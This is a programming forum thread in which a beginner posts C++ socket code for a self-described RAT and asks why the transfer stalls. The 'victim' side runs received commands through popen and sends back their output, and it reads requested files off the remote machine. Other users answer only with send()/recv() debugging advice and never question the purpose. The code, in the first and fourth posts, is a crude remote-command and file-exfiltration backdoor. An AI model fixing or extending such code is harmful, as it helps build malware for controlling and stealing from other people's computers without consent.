Thread: problem with output transfer over socket

  1. #1
    Registered User
    Join Date
    Jul 2011
    Posts
    8

    Exclamation problem with output transfer over socket

    I am new to C++ Socket coding, in fact this is my first socket program. I tried to code a RAT, to view the files of the connected computer & transfer the selected file. It runs through 2-4 cycles( send the command & receive the output) , but gets stuck after that, while on a connected computer, it gets stuck after the first cycle only. I tried to transfer multiple files over network & it worked properly for a limited size file, while for larger file sizes, it gets stuck. Please help me with this. Here are the relevant snippets from the code:
    SendData():
    Code:
    bool Socket::SendData(char *buffer)
    {
         if(!strcmp(buffer,"exit"))
         {
                                 closeconnection();
                                 return TRUE;
         }
         else
         {
             send(msocket,buffer,strlen(buffer),0);
             return TRUE;
         }
    }
    Receive command on victim syd:
    Code:
    void Socket::RecvData(char *buff,int size)
    {
         cout<<"came here"<<endl;
         int i=recv(msocket,buff,size,0);
         buff[i]='\0';
         //cout<<i<<endl;
         int l=0;
         if(!strcmp(buff,"exit"))
         {
                                   //shutdown(msocket,0);
                                   WSACleanup();
                                   //msocket=backup;
                                   memset(buff,0,sizeof(buff));
                                   cout<<"m exiting too yahan bhi ukhaad sakta h to ukhaad le"<<endl;
                                   system("pause");
                                   exit(0);
         }
         while((buff[l]!='\0')&&(buff[l]!='.'))
         {
                                               //cout<<"bht hua"<<endl;
                                               l++;
         }
         if(buff[l]=='.')
         {
                         FILE *open=fopen(buff,"rb");
                         //system("pause");
                         if(open==NULL){cout<<"file error"<<endl; SendData("DONE");}
                         char line[200];
                         //char tosend[1];
                         //int c;
                         system("pause");
                         //while((c=getc(open))!=EOF)
                         //{
                         //                        tosend[0]=c;
                         //                        cout<<tosend[0];
                         //                  send(msocket,tosend,1,0);
                         while(!feof(open))
                         {
                                                     fgets(line,200,open);
                                                     send(msocket,line,sizeof(line),0);
                                                     cout<<line<<endl;
                         
                         }//send(msocket,'\0',1,0);
                         cout<<"file transfer complete"<<endl;
                         SendData("DONE");
                         fclose(open);
                         //exit(1);
                         system("pause");
         }
         else
         {
             cout<<buff<<endl;
             char line[200];
             FILE *fp=popen(buff,"r");
             if(fp==NULL) printf("file error");
             while(fgets(line,sizeof(line),fp))
             {
                                                     cout<<"in loop"<<endl;
                                                     //cout<<line<<endl;
                                                     SendData(line);
             }
             SendData("DONE");
             cout<<"out of loop"<<endl;
             //fflush(stdout);
             //fflush(stdin);
             //memset(buff,0,sizeof(buff));
         }
                                         
    }
    Receive command output/ file on server syd:
    Code:
    void ClientSocket::RecvFile(char *buffer,int size)
    {
                 int i=recv(msocket,buffer,size,0);
                 buffer[i]='\0';
                 //fflush(stdout);
                 //fflush(stdin);
                 while(strcmp(buffer,"DONE"))
                 {
    
                            i=recv(msocket,buffer,size,0);
                            buffer[i]='\0';
                            cout<<buffer<<endl;
                            //if(!strcmp(buffer,"DONE"))
                            //                         break;
                            //cout<<strlen(buffer)<<endl;
                            //cout<<"still inn loop"<<endl;
                 }
                 //msocket.close();
                 //fflush(stdout);
                 //fflush(stdin);
                 cout<<"out of loop"<<endl;
                 //memset(buffer,0,sizeof(buffer));
                 system("pause");
    }
    void ClientSocket::RecvFile1(char *file)                                 
    {
         char rec[200];
         char ch;
         //recv(msocket,&ch,sizeof(ch),0);
         FILE *filerecv=fopen(file,"wb");
         //char recvbuff[7000];
         //recvbuff[0]=0;
         int i;//=recv(msocket,rec,200,0);
         //rec[i]='\0';
         while(strcmp(rec,"DONE"))
         {
                                 
                            i=recv(msocket,rec,200,0);
                            rec[i]='\0';                             
                            cout<<rec<<endl;
                            if(strcmp(rec,"DONE"))
                                                  fputs(rec,filerecv);
                            //memset(rec,0,sizeof(rec));
         }
         //msocket.unload();
         /*while((recv(msocket,recvbuff,1,0))!=-1)
         {
                        //recv(msocket,&ch,sizeof(ch),0);
                        //fputc(ch,filerecv);
                        cout<<recvbuff[0];
                        fwrite(recvbuff,sizeof(recvbuff[0]),1,filerecv);
                        recvbuff[0]=0;
         }*/
         cout<<"here 2"<<endl;
         fclose(filerecv);
         cout<<"file transfer complete"<<endl;
         system("pause");
    }

  2. #2
    and the Hat of Guessing tabstop's Avatar
    Join Date
    Nov 2007
    Posts
    14,336
    Run it in a debugger. Where are you when you get "stuck"? Are you in a loop? Are each of the programs waiting for the other?

  3. #3
    Registered User
    Join Date
    Oct 2006
    Posts
    3,445
    the first problem I see is that you don't check to see if all of your data was sent. send() returns the number of bytes sent, and if it's less than your total length, you need to call send again, after advancing your pointer to the byte after the last one sent. I've observed that the limit for a single send operation on windows is approximately 8KB, so if your buffer is much bigger than that, you'll need to loop until all of the data has been sent.

  4. #4
    Registered User
    Join Date
    Jul 2011
    Posts
    8
    yes both are waiting for each other. Victim is waiting for the next command. I am sure that it sent all the data & is ready to receive the next command. While Server side is still waiting for the output. I tried to use dummy value, i.e send "DONE" from the victim to server when whole output is sent, still it got stuck. Also I tried to use the return value of recv() that returns no. of bytes received. It should have got out of loop when recv() returns -1.When i used the recv() == -1 thing, server side kept on waiting until i closed the victim side. !?

    I didnt face any such problem as of buffer size; it sent all data, as u can see I got it printed "out of loop" on victim, when whole data was sent & it worked properly. I hope there is no problem with victim...

    I made some changes in the code:
    Victim syd:
    Code:
    cout<<buff<<endl;
             //fflush(stdout);
             char line[200];
             FILE *fp=popen(buff,"r");
             if(fp==NULL){
                           cout<<"file error";
                           exit(0);
                           }
             while(fgets(line,sizeof(line),fp)!=NULL)
             {
                                                     cout<<"in loop"<<endl;
                                                     //cout<<line<<endl;
                                                     SendData(line);
             }
             memset(line,0,sizeof(line));
             SendData("DONE");
             cout<<"out of loop"<<endl;
    server side:
    Code:
     cout<<"camehere"<<endl;
                 memset(buffer,0,sizeof(buffer));
                 int i=recv(msocket,buffer,sizeof(buffer),0);
                 buffer[i]='\0';
                 cout<<buffer;
                 //fflush(stdout);
                 //fflush(stdin);
                 
                 while(((recv(msocket,buffer,sizeof(buffer),0))!=-1)&&(strcmp(buffer,"DONE"))) cout<<buffer;
                 /*while(strcmp(buffer,"DONE")!=0)
                 {
                            cout<<buffer;
                            i=recv(msocket,buffer,size,0);
                            buffer[i]='\0';
                   //         fflush(stdout);
                            //if(!strcmp(buffer,"DONE"))
                            //                         break;
                            //cout<<strlen(buffer)<<endl;
                            //cout<<"still inn loop"<<endl;
                 }*/
                 //fflush(stdin);
                 //fflush(stdin);
                 cout<<"out of loop"<<endl;
                 //memset(buffer,0,sizeof(buffer));
                 system("pause");

    & here is the snapshot of the output screen on server side:

    Quote Originally Posted by tabstop View Post
    Run it in a debugger. Where are you when you get "stuck"? Are you in a loop? Are each of the programs waiting for the other?
    Attached Images Attached Images problem with output transfer over socket-code-jpg 
    Last edited by botty; 07-19-2011 at 09:03 AM.

  5. #5
    Registered User
    Join Date
    Oct 2006
    Posts
    3,445
    I think you need to review the documentation for recv(). I'll give you a quick refresher, since you seem to be confused on its behavior.

    recv() takes a socket descriptor, a buffer, a buffer length, and a flags field as its parameters

    it returns the number of bytes received. if it returns 0, it means the connection was closed. if it returns -1, it means there was an error. having no bytes available to read is not an error, unless your socket is set to be non-blocking. a normal blocking socket will simply not return until one of the following happens:

    1. data becomes available to read
    2. the connection is closed
    3. a signal interrupts the system call
    4. an error occurs

    also, how can you possibly know if all of your data was sent if you never check the return value of send()? simply attempting another send and seeing it go through successfully is not a good indication that your data was all sent. send() returns the number of bytes sent, and otherwise behaves similarly to recv().

  6. #6
    Registered User
    Join Date
    Jul 2011
    Posts
    8
    Thanks a lot elkvis...u were of great help.
    Figured out that it stucks on recv() .As it still expects for more bytes. Is there any other solution except for sending the size of data/ making the socket unblocking?
    Last edited by botty; 07-19-2011 at 01:18 PM.

Popular pages Recent additions subscribe to a feed

Similar Threads

  1. transfer binary over socket
    By MK27 in forum Networking/Device Communication
    Replies: 30
    Last Post: 10-09-2008, 09:41 AM
  2. file transfer problem - Help!
    By John_2007 in forum C Programming
    Replies: 3
    Last Post: 09-19-2007, 04:28 PM
  3. socket problem
    By RevengerPT in forum C Programming
    Replies: 9
    Last Post: 01-17-2006, 09:07 AM
  4. Writing to an Output Socket in use by another program
    By maththeorylvr in forum Windows Programming
    Replies: 4
    Last Post: 10-28-2005, 12:17 PM
  5. My Socket Input / Output Class
    By Thantos in forum Networking/Device Communication
    Replies: 0
    Last Post: 06-15-2004, 12:05 AM